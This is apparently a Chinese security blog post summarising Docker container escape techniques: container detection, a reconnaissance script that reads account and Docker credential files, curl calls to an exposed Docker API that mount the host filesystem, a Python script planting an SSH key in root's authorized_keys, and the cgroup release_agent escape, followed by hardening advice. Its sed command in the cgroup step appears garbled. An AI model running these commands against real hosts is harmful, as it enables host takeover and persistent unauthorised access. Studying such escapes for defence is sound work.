Docker逃逸小结第一版 更新
字数 1214 2025-08-25 22:59:02
Docker逃逸技术全面解析与防御指南
0x00 容器基础与逃逸概述
Docker架构与调用链
Docker启动的调用链如下:
docker-client -> dockerd -> docker-containerd -> docker-containerd-shim -> runc(容器外) -> runc(容器内) -> containter-entrypoint
Docker利用Linux Namespace实现了操作系统级的资源隔离。
逃逸思路分类
- 用户层:用户配置不当
- 服务层:容器服务自身缺陷
- 系统层:Linux内核漏洞
容器环境检测方法
systemd-detect-virt -c
sudo readlink /proc/1/exe
ls /.dockerenv
grep '/docker' /proc/1/cgroup
ps -p1 # 检查PID为1的进程是否是常规init进程
ps aux # 检查进程数量
容器信息收集脚本
#!/bin/bash
id
cat /etc/passwd
cat /etc/os-release
ps aux
uname -a
grep CapEff /proc/self/status
CAP=`grep CapEff /proc/self/status | cut -f 2`
if [ "$CAP" = "0000003fffffffff" ]; then
echo -e "Container is privileged."
else
echo -e "Container is not privileged."
fi
cat /proc/mounts
env
cat /proc/mounts | grep docker.sock
cat /etc/hosts
ls -l /var/run/docker.sock
grep docker /etc/group
ls -l $(which docker)
docker images -a
docker ps -a
cat /usr/lib/systemd/system/docker.service
cat /etc/systemd/system/docker.service
cat /etc/docker/daemon.json
find / -name "docker-compose.*"
cat /home/*/.docker/config.json
iptables -t filter -vnL
0x01 用户配置不当导致的逃逸
1.1 docker.sock暴露到公网
风险场景
官方推荐的启动方式:
sudo docker daemon -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
这会暴露2375端口到公网。
利用方法一:HTTP API利用
- 列出所有容器:
curl -i -s -X GET http://<docker_host>:PORT/containers/json
- 创建exec实例:
curl -i -s -X POST \
-H "Content-Type: application/json" \
--data-binary '{"AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Cmd": ["cat", "/etc/passwd"],"DetachKeys": "ctrl-p,ctrl-q","Privileged": true,"Tty": true}' \
http://<docker_host>:PORT/containers/<container_id>/exec
- 启动exec:
curl -i -s -X POST \
-H 'Content-Type: application/json' \
--data-binary '{"Detach": false,"Tty": false}' \
http://<docker_host>:PORT/exec/<exec_id>/start
接管主机方法
- 下载镜像:
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/images/create?fromImage=ubuntu&tag=latest
- 创建带挂载的容器:
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
--data-binary '{"Hostname": "","Domainname": "","User": "","AttachStdin": true,"AttachStdout": true,"AttachStderr": true,"Tty": true,"OpenStdin": true,"StdinOnce": true,"Entrypoint": "/bin/bash","Image": "ubuntu","Volumes": {"/hostos/HostConfig": {"Binds": ["/:/hostos"]}}' \
http://<docker_host>:PORT/containers/create
- 启动容器:
curl -i -s -k -X 'POST' \
-H 'Content-Type: application/json' \
http://<docker_host>:PORT/containers/<container_ID>/start
利用方法二:Python API写入SSH密钥
import docker
cli = docker.DockerClient(base_url='tcp://'+ip+':2375', version='auto')
image = cli.images.list()[0]
f = open('id_rsa_2048.pub', 'r')
sshKey = f.read()
f.close()
try:
cli.containers.run(
image=image.tags[0],
command='sh -c "echo '+sshKey+' >> /usr/games/authorized_keys"',
volumes={'/root/.ssh':{'bind': '/usr/games', 'mode': 'rw'}},
name='test'
)
except docker.errors.ContainerError as e:
print(e)
1.2 危险启动参数
--privileged参数
- 查看磁盘文件:
fdisk -l
- 新建目录并挂载:
mkdir /aa
mount /dev/sda1 /aa
--cap-add=SYS_ADMIN利用
# 在容器内执行
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ls > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
1.3 docker.sock暴露到容器内部
sudo docker -H unix:///google/host/var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
1.4 docker.sock白名单绕过
通过传递多个Binds参数绕过:
"Binds": ["/:/hostos", "/dev/log:/dev/log"]
0x02 容器服务缺陷
2.1 runC漏洞(CVE-2019-5736)
影响版本
- Docker Version < 18.09.2
- runC Version <= 1.0-rc6
利用方法一:Docker EXEC POC
// 循环等待runC init的PID
// open("/proc/pid/exe",O_RDONLY)
// execve()释放runC的IO并覆盖runC二进制文件
// execve()执行被覆盖runC
利用方法二:恶意镜像POC
- 修改libseccomp源码添加恶意代码
- 编译并安装修改后的libseccomp
- 创建恶意overwrite_runc程序
- 设置ENTRYPOINT指向/proc/self/exe
2.2 Docker cp漏洞(CVE-2019-14271)
利用docker cp命令的漏洞实现逃逸。
2.3 Docker build代码执行(CVE-2019-13139)
利用docker build过程中的漏洞实现代码执行。
0x03 内核提权
3.1 Dirty Cow(CVE-2016-5195)
利用流程:
- 使用内核漏洞进入内核上下文
- 获取当前进程的task struct
- 回溯task list获取pid=1的task struct
- 复制其相关数据
- 切换当前namespace
- 打开root shell完成逃逸
0x04 防御建议
-
最小权限原则:
- 避免使用--privileged参数
- 限制容器capabilities
- 使用非root用户运行容器
-
网络隔离:
- 避免将docker.sock暴露到公网
- 限制容器网络访问
-
及时更新:
- 保持Docker和runC版本最新
- 及时修补内核漏洞
-
安全配置:
- 使用AppArmor或Seccomp限制容器行为
- 配置合理的cgroup限制
-
监控审计:
- 监控容器异常行为
- 审计容器日志
0x05 参考资源
- Vulhub漏洞环境
- Blackhat演讲资料
- Docker官方安全文档
- CVE漏洞详情报告